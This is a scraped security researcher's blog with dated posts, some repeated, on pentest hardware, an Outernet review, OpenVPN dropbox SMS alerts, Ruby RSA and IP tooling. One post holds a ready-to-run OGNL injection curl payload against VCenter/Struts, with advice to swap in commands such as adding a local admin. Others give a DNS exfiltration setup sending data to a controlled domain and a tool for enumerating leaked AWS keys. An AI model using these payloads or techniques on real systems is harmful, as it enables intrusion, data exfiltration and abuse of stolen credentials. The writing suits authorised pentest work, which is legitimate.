Certain tools/scripts require you to specify a Root CA bundle for them to compare SSL certificates against. Below are a couple paths containing downloadable files containing root certificate information:
Curl's Bundle (based off Mozilla, easy to integrate):
http://curl.haxx.se/ca/cacert.pem
Mozilla's Cert text file:
https://hg.mozilla.org/releases/mozilla-release/raw-file/default/security/nss/lib/ckfw/builtins/certdata.txt
Chrome:
Chrome uses the underlying certificate store that is already on the machine
Microsoft:
http://aka.ms/RootCertDownload
This github project tracks certificates from different vendors:
https://github.com/kirei/catt
Wednesday, June 14, 2017
Friday, June 2, 2017
A better LAN tap
I had a project recently where I needed to see the traffic between two hosts and ettercap ARP spoofing was not reliable. I decided to grab my Throwing Star LAN tap that I got at Defcon a couple years ago. Finally, I thought, a reason to use it.
I plugged it in, started the devices I was sniffing, and started up wireshark. Wait a second. Something is off here. Why am I only seeing traffic in one direction? *googles it* Seriously? each port on this Throwing Star can only see a single direction at a time? yeesh
It says so very clearly on the website, and its completely my fault for not reading and understanding its functionality earlier. Bad me.
If you want to see both directions, you need to plug in both sides at the same time. Which wouldn't be that bad except for the fact that you need to pcap twice, and there is no easy and obvious way of stitching the traffic back together. You're left with two files that you have to manually go through to understand what the devices are doing.
On top of this, most laptops released these days don't have an ethernet jack. So now you have to resort to two separate USB-Ethernet adapters and a USB hub. Again, much less than ideal. I'm sure the Throwing Star LAN tap would be fine in a pinch, but as a regular testing device, I would not recommend it.
After some research and personal testing, there is a brand of LAN taps that I do recommend. The ones from SharkTap.
There is the cheaper one:
https://www.amazon.com/midBit-Technologies-LLC-10-100/dp/B00DY77HHK/ref=sr_1_3?ie=UTF8&qid=1496437580&sr=8-3
And the one I decided to get:
https://www.amazon.com/midBit-Technologies-LLC-SharkTapUSB-100/dp/B01N370ZQV/ref=sr_1_2?ie=UTF8&qid=1496437580&sr=8-2
I decided to purchase it for a number of reasons:
I plugged it in, started the devices I was sniffing, and started up wireshark. Wait a second. Something is off here. Why am I only seeing traffic in one direction? *googles it* Seriously? each port on this Throwing Star can only see a single direction at a time? yeesh
It says so very clearly on the website, and its completely my fault for not reading and understanding its functionality earlier. Bad me.
If you want to see both directions, you need to plug in both sides at the same time. Which wouldn't be that bad except for the fact that you need to pcap twice, and there is no easy and obvious way of stitching the traffic back together. You're left with two files that you have to manually go through to understand what the devices are doing.
On top of this, most laptops released these days don't have an ethernet jack. So now you have to resort to two separate USB-Ethernet adapters and a USB hub. Again, much less than ideal. I'm sure the Throwing Star LAN tap would be fine in a pinch, but as a regular testing device, I would not recommend it.
After some research and personal testing, there is a brand of LAN taps that I do recommend. The ones from SharkTap.
There is the cheaper one:
https://www.amazon.com/midBit-Technologies-LLC-10-100/dp/B00DY77HHK/ref=sr_1_3?ie=UTF8&qid=1496437580&sr=8-3
And the one I decided to get:
https://www.amazon.com/midBit-Technologies-LLC-SharkTapUSB-100/dp/B01N370ZQV/ref=sr_1_2?ie=UTF8&qid=1496437580&sr=8-2
I decided to purchase it for a number of reasons:
- Gigabit capability
- PoE passthrough
- Can function as USB-Ethernet adapter
- Both USB and RJ45 connections for taps
- Powered over USB
- See both sides of the traffic
I only have two complaints. The first is that you have to install a driver if you are on a Mac (windows/linux works out of the box). This was not a big deal since it was very quick and easy. My second gripe is that the device itself is twice as long as the Throwing Star (but smaller if you factor in the other pieces you need for this to work)
Despite these two gripes, I definitely feel that the pros outweigh the cons massively.
I have personally tested the gigabit one and can confirm it lives up to its claims. Go forth, and pwn.
Friday, April 14, 2017
Exploiting the VMware VCenter RCE (CVE-2017-5638)
I got lucky enough to be able to test this exploit code on an active engagement so I thought I'd share my PoC:
1. Find a box that has VCenter running (just grep through nmap results for vcenter)
2. Run the following curl command (assuming it's on port 443):
3. The response body should be the output of the command
You can modify the "(#cmd='net user')" portion of the payload to be other commands including things like adding a new local admin. Or possibly running Powershell (haven't verified yet)
1. Find a box that has VCenter running (just grep through nmap results for vcenter)
2. Run the following curl command (assuming it's on port 443):
curl -v -k https://VICTIMIPHERE/statsreport/ -H "Content-Type: $(cat <<"EOF" ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} EOF )"
You can modify the "(#cmd='net user')" portion of the payload to be other commands including things like adding a new local admin. Or possibly running Powershell (haven't verified yet)
Wednesday, March 22, 2017
A Review of Outernet's Satellite Reciever
I recently came across mention of the Outernet project. They market themselves as a simple, low cost, receive only packet radio receiver. It seemed like an interesting enough project and at $99 for a preprogrammed board/all the hardware I'd need I figured why not.
In the drop down box on the Satellite tab, make sure the proper satellite/location is chosen, otherwise you simply won't ever get a lock. Once you chose the proper satellite, and double checked to make sure everything is hooked up properly, you can start pointing the panel at the satellite. I used the n2yo.com satellite tracking site to help me roughly aim the panel. It doesn't have to be exact. I used the "SNR" value on the Status tab to help me aim. Once I got a consistent reading above 3.0dB I knew it would be sufficient. Cloudy days give me about 5-7 and clear ones give me 7-10dB. If you are around 1-2dB or less, something is wrong.
I ended up mounting my panel to an old tripod so I wouldn't have to hold it. Not pretty or rugged, but works for the time being:
I also configured the board settings to connect to my home network as a client versus setting up its own hotspot. You can do this using the "Network" app from the interface.
So everything is set up, now I have data downloading. That was fun. Probably not $99 fun, but I got some new hardware out of it and I got to say I did something with satellites. Personally, it was just barely worth the $99.
While the kit is received only, Outernet does allow people to submit files to be included (up to 10KB, and moderated) in the transmission.
Setup
Setting it up was relatively simple, just hook up the CHIP, battery, LNA, and panel antenna as we were good to go. After about a couple minutes of the board starting up you'll see an open Wifi network called "Outernet". Connect in, visit "10.0.0.1" and enter "outernet:outernet" for the login (case matters on the username).The Interface
You'll then be presented with the main interface. Click the circle in the upper left corner to get a listing of the "apps" installed. It's pretty spartan, but then again that's what the project is. Click on the "Tuner" app, it should look like this:In the drop down box on the Satellite tab, make sure the proper satellite/location is chosen, otherwise you simply won't ever get a lock. Once you chose the proper satellite, and double checked to make sure everything is hooked up properly, you can start pointing the panel at the satellite. I used the n2yo.com satellite tracking site to help me roughly aim the panel. It doesn't have to be exact. I used the "SNR" value on the Status tab to help me aim. Once I got a consistent reading above 3.0dB I knew it would be sufficient. Cloudy days give me about 5-7 and clear ones give me 7-10dB. If you are around 1-2dB or less, something is wrong.
I ended up mounting my panel to an old tripod so I wouldn't have to hold it. Not pretty or rugged, but works for the time being:
I also configured the board settings to connect to my home network as a client versus setting up its own hotspot. You can do this using the "Network" app from the interface.
So everything is set up, now I have data downloading. That was fun. Probably not $99 fun, but I got some new hardware out of it and I got to say I did something with satellites. Personally, it was just barely worth the $99.
While the kit is received only, Outernet does allow people to submit files to be included (up to 10KB, and moderated) in the transmission.
Accurate Expectations:
If you are interested in getting an Outernet setup, please make sure you have the proper expectations. Here is what you get practically from buying and setting one up yourself:- Text only daily news from several sources
- 2-day old fancy weather data that looks really pretty
- APRS messages (mostly useless)
- Offline text-only Wikipedia
This is not a replacement for the Internet, no matter what ignorant media people tell you, this is really not a replacement for anything at all. The only possible use case I can really think of is for someone in the middle of nowhere wanting some news/Wikipedia articles to read. The Outernet project is definitely not solving any average person's problems.
It DOES however provide the following:
- CHIP board, Low Noise Amplifier, Panel Antenna, Battery pack, and aluminum cased RTLSDR
- Decent first introduction to microwave satellites
- A distraction
- A cute idea
Would I buy this again? Not likely
Would I recommend this? Meh
Labels:
Hardware,
Just For Fun,
Radio
Thursday, February 23, 2017
Enumerate Leaked AWS API Key Access
Sometimes on a pentest engagement (or from https://gitleaks.com) you'll come across some AWS API keys. If you want to know what those keys have access to, I've decided to make a script that runs through various AWS services API endpoints to list access to them. You can do this using the awscli tool but I find it less than ideal to deal with and the JSON you have to parse can be annoying.
So I decided to write a tool since I couldn't find one online. This tool is pretty simple, it simply takes in an access key and secret key often used in configurations and connect scripts. It then goes one by one to each service and queries useful information such as Dynamo DB table names, S3 bucket names and how many objects are in each one.
So for example, let's say during your recon/OSINT phase you discover some AWS API creds exposed on gitleaks or some config file. (The screenshot obviously isn't a client, just a random entry in gitleaks)
You take the "Access Key" and "Secret Key" and pump them into the AWSEnumerator script:
Currently, the script supports:
- EC2 Instances (type, IP, status)
- S3 Buckets (name, number of objects)
- Lightsail Instances (name, username, IP, state)
- DynamoDB (table name)
I am planning on adding support for additional services as time goes on.
The tool can be found at https://github.com/atucom/AWSEnumerator
So I decided to write a tool since I couldn't find one online. This tool is pretty simple, it simply takes in an access key and secret key often used in configurations and connect scripts. It then goes one by one to each service and queries useful information such as Dynamo DB table names, S3 bucket names and how many objects are in each one.
So for example, let's say during your recon/OSINT phase you discover some AWS API creds exposed on gitleaks or some config file. (The screenshot obviously isn't a client, just a random entry in gitleaks)
You take the "Access Key" and "Secret Key" and pump them into the AWSEnumerator script:
$ ./AWSEnumerator.py AKXXXXXXXXXXXXXXXXXA ENtXXXXXXXXXXXXXXXXXqThis information is fantastic for both reporting purposes as well as possibly escalating access or obtaining sensitive information.
Checking for S3 buckets
Total # of buckets: 9
Bucket: bucket1 [8 objects]
Bucket: bucket2 [1000 objects]
Bucket: bucket3-dev [1000 objects]
Bucket: bucket4 [1 objects]
Bucket: bucket5 [747 objects]
Bucket: otherbucket [1000 objects]
Bucket: morebucket [54 objects]
Bucket: whereismahbucket [26 objects]
Bucket: ilikefish [95 objects]
Checking for EC2 Instances
Total # of EC2 Instances: 2
Instance: t2.nano - 52.570.576.548 - running
Instance: t2.small - stopped
Checking for Lightsail Instances
Total # of Lightsail instances: 1
Name: enumtest1, Username: ubuntu, IP: 254.244.198.296, State: running
Checking for DynamoDB Tables
Total # of DynamoDB Tables: 2
Table Name: tabletest
Table Name: test2
Currently, the script supports:
- EC2 Instances (type, IP, status)
- S3 Buckets (name, number of objects)
- Lightsail Instances (name, username, IP, state)
- DynamoDB (table name)
I am planning on adding support for additional services as time goes on.
The tool can be found at https://github.com/atucom/AWSEnumerator
Labels:
Programming,
Python,
Web
Friday, February 3, 2017
Super Simple DNS Exfiltration
I needed to test if I got command execution on a target box. Pretty much every outbound port was blocked. Luckily, it's extremely rare for people to turn off outbound UDP port 53 so DNS queries can still make it through.
In order for you to get a basic DNS exfil setup to work you'll need a couple things:
Since your DNS settings are configured properly, just start the python sniffer and run something like
And watch the requests come in.
In order for you to get a basic DNS exfil setup to work you'll need a couple things:
- A VPS to sniff the DNS queries
- A domain to direct the DNS queries to
The first step is to configure an NS record for a subdomain of your main domain. I simply created an NS record for e.domain.tld (replace domain.tld with your domain) and pointed it to the IP address of VPS.
Now when someone requests somedata.e.domain.tld the UDP request packet will go to the VPS IP. Run tshark/tcpdump to grab the request and prove if you have command execution or not.
I partially wrote the following python script to just parse out the domain name being requested.
#!/usr/bin/env python2 from scapy.all import * from scapy.layers.dns import DNSRR, DNS, DNSQR def handlepkt(p): #thanks stackoverflow! if p.haslayer(DNS): if p.qdcount > 0 and isinstance(p.qd, DNSQR): name = p.qd.qname elif p.ancount > 0 and isinstance(p.an, DNSRR): name = p.an.rdata print name sniff(iface=eth0, filter="udp and port 53", store=0, prn=handlepkt)
Since your DNS settings are configured properly, just start the python sniffer and run something like
for i in *; do host $i.e.domain.tld; done
And watch the requests come in.
Labels:
Bash,
Network,
Programming,
Python
Friday, January 6, 2017
How to Encrypt/Decrypt Using An RSA Keypair In Ruby
Simple process:
Above I created the .priv and .pub using the following openssl commands:
require 'openssl' #Import your private/public keypair into separate objects to play with priv = OpenSSL::PKey::RSA.new(File.read('test1.priv')) pub = OpenSSL::PKey::RSA.new(File.read('test1.pub')) #Use your public key to encrypt some data #Here, 3 means use no padding (I needed it for some testing) #Here I used 56bit keys and no padding which is why my input plaintext must be 56bits (7 characters) #If you want the default of PKCS#1 padding, just remove the '3' argument crypted = pub.public_encrypt("123456\n", 3) #Now decrypt using your private key object (must supply same padding as before, or leave off for default) decrypted = priv.private_decrypt(crypted,3)
Above I created the .priv and .pub using the following openssl commands:
#I chose 56 bits for testing, if used in reality it should be much higher like 2048 openssl genrsa -out test1.priv 56 #Using your private key, create a public key openssl rsa -in test1.priv -out test1.pub -outform PEM -pubout
Labels:
Bash,
Programming,
Ruby
Thursday, November 3, 2016
OpenVPN Client Disconnect Notification
So I was configuring a pentest dropbox and hated the fact that you couldn't know if the dropbox connected unless you checked the VPN endpoint. I thought there must be a more automated/better way. Well, it turns out there is.
OpenVPN is fantastic and provides two very handy options: client-connect and client-disconnect. Cut from the OpenVPN manpage:
So we can run arbitrary scripts whenever a client connects or disconnects. Using Twilio, I can get an SMS text message notifying me that a client called back to the server properly or when a client connection drops (for whatever reason).
This allows me to quickly deploy a dropbox and know if it was a good network spot or not before I even leave the building (and no pulling out laptops either!) It also lets me know if it got unplugged or lost connectivity and exactly when (e.g if it gets discovered).
client-disconnect.py
client-connect.py
You should obviously change the ACCOUNT_SID, AUTH_TOKEN, to=, and from_= details to your own information.
Bam, that should do it. Now disconnect the client and you should get the disconnect text as expected.
Caveat:
The disconnect script only works when the OpenVPN server detects a disconnect. Which if you are using OpenVPN over UDP, it will wait for the timeout. If possible, run OpenVPN over TCP where if there is a disconnect, a TCP reset will be set and the disconnect script will trigger almost instantly.
TLDR: You get SMS text messages when your dropbox (or really anything) connects/disconnects from your VPN. Really useful for physical pentests.
OpenVPN is fantastic and provides two very handy options: client-connect and client-disconnect. Cut from the OpenVPN manpage:
--client-connect script
Run script on client connection. The script is passed the common name and IP address of the just-authenticated client as environmental variables (see environmental variable section below).
Note that the return value of script is significant. If script returns a non-zero error status, it will cause the client to be disconnected.
--client-disconnect
Like --client-connect but called on client instance shutdown. Will not be called unless the --client-connect script and plugins (if defined) were previously called on this instance with successful (0) status returns.
So we can run arbitrary scripts whenever a client connects or disconnects. Using Twilio, I can get an SMS text message notifying me that a client called back to the server properly or when a client connection drops (for whatever reason).
This allows me to quickly deploy a dropbox and know if it was a good network spot or not before I even leave the building (and no pulling out laptops either!) It also lets me know if it got unplugged or lost connectivity and exactly when (e.g if it gets discovered).
No Twilio?
Don't have a Twilio account yet? get one. They are fun to experiment with and cost practically nothing. It also allows you to do stupid things like get a webshell over SMSSteps:
- Configure OpenVPN server to allow user-created scripts to run
- Drop the python SMS scripts in /etc/openvpn/
- Test/verify the connection
Configure OpenVPN:
Luckily, this is as simple as adding a couple lines to the bottom of the config and restarting the service. Add the following lines to your /etc/openvpn/openvpn.conf:
script-security 2
client-connect /etc/openvpn/client-connect.py
client-disconnect /etc/openvpn/client-disconnect.py
and then do a "service openvpn restart" to reload the config
Drop Python SMS scripts:
With those above config lines, OpenVPN will simply execute whatever those scripts contain whenever a client connects/disconnects. It's extremely important that your connect script has no errors in it. Errors will cause the script to return a non-zero return status and OpenVPN will instantly drop the client connection. The following two scripts are simply pasted into the /etc/openvpn/ directory:
#!/usr/bin/env python from twilio.rest import TwilioRestClient import argparse, time, os #when openvpn calls a script, they populate the shell environment with a variety of details #about the connection. You can call a script that does "env > /tmp/blah" and then cat it so #see clientname = os.environ['common_name'] clientip = os.environ['ifconfig_pool_remote_ip'] timestamp = time.strftime("%x - %X") def send_sms(message): ACCOUNT_SID = "ENTER YOUR OWN TWILIO ACCOUNT_SID" AUTH_TOKEN = "ENTER YOUR OWN TWILIO AUTH_TOKEN" client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN) client.messages.create( to="+1234567890", from_="+1234567891", body=message ) if __name__ == '__main__': send_sms("[-]DISCONNECTED - %s from %s at %s" % (clientname, clientip, timestamp))
client-connect.py
#!/usr/bin/env python from twilio.rest import TwilioRestClient import argparse, time, os #when openvpn calls a script, they populate the shell environment with a variety of details #about the connection. You can call a script that does "env > /tmp/blah" and then cat it so #see clientname = os.environ['common_name'] clientip = os.environ['ifconfig_pool_remote_ip'] timestamp = time.strftime("%x - %X") def send_sms(message): ACCOUNT_SID = "ENTER YOUR OWN TWILIO ACCOUNT_SID" AUTH_TOKEN = "ENTER YOUR OWN TWILIO AUTH_TOKEN" client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN) client.messages.create( to="+1234567890", from_="+1234567891", body=message ) if __name__ == '__main__': send_sms("[+]CONNECTED - %s as %s at %s" % (clientname, clientip, timestamp))
You should obviously change the ACCOUNT_SID, AUTH_TOKEN, to=, and from_= details to your own information.
Test the connection:
You configured the service, restarted the service to take in the new config details, and pasted in the proper scripts. Now is the time to make sure it works. You can either simply connect a client to the VPN and see if it works, or test the scripts manually. The process for manual testing is to enter the following:
cd /etc/openvpn bash export common_name=asdf export ifconfig_pool_remote_ip=qwer ./client-connect.py
Bam, that should do it. Now disconnect the client and you should get the disconnect text as expected.
Caveat:
The disconnect script only works when the OpenVPN server detects a disconnect. Which if you are using OpenVPN over UDP, it will wait for the timeout. If possible, run OpenVPN over TCP where if there is a disconnect, a TCP reset will be set and the disconnect script will trigger almost instantly.
Labels:
Network,
Physical,
Programming,
Python,
Redteam
Thursday, October 13, 2016
Consolidate Single IPs Into Ranges
Sometimes you'll have a file of one IP per line and it contains large swaths of continuous IP space. Listing out each IP of a /24 is unnecessary many times and looks way better if you shrink/consolidate them into networks.
I wrote the following python script to do just that.
It takes in a list of unique one-per-line IPs and outputs "-" notation of ranges
That "ips2.txt" file simply contains the following:
192.168.1.0
192.168.1.1
192.168.1.11
192.168.1.13
192.168.1.14
192.168.1.15
192.168.1.16
192.168.1.17
192.168.1.19
192.168.1.2
192.168.1.21
192.168.1.23
192.168.1.24
192.168.1.25
192.168.1.26
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.7
192.168.1.9
I wrote the following python script to do just that.
#!/usr/bin/env python3 #takes in a file of one-per-line IPs and consolidates them into ranges #@atucom import ipaddress import argparse import sys result = [] def consolidate(ipobj): result.append(ipobj) for ipstr in iparry: ipobj2 = ipaddress.ip_address(ipstr) if ipobj + 1 == ipobj2: result.append(ipobj2) iparry.remove(ipstr) consolidate(ipobj2) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("FILE" ,help='The input file of one-per-line IPs to consolidate') args = parser.parse_args() if args.FILE: with open(args.FILE, 'r') as f: iparry = f.read().splitlines() for ipstr in iparry: consolidate(ipaddress.ip_address(ipstr)) if ipaddress.ip_address(ipstr) == result[-1]: print(result[-1]) else: print("%s - %s" % (ipaddress.ip_address(ipstr), result[-1])) else: exit(1)
It takes in a list of unique one-per-line IPs and outputs "-" notation of ranges
That "ips2.txt" file simply contains the following:
192.168.1.0
192.168.1.1
192.168.1.11
192.168.1.13
192.168.1.14
192.168.1.15
192.168.1.16
192.168.1.17
192.168.1.19
192.168.1.2
192.168.1.21
192.168.1.23
192.168.1.24
192.168.1.25
192.168.1.26
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.7
192.168.1.9
Labels:
Network,
Programming,
Python
Wednesday, September 14, 2016
Better PHP Serialized Regex
Below is the regex I came up with to find instances of PHP serialized strings in other input. I made the regex a little loose to not miss any of them popping up. I tested this and it works perfectly.
(i|s|a|o|d):\d+:(.*);?
(i|s|a|o|d):\d+:(.*);?
Labels:
Programming,
Web
Subscribe to:
Posts (Atom)



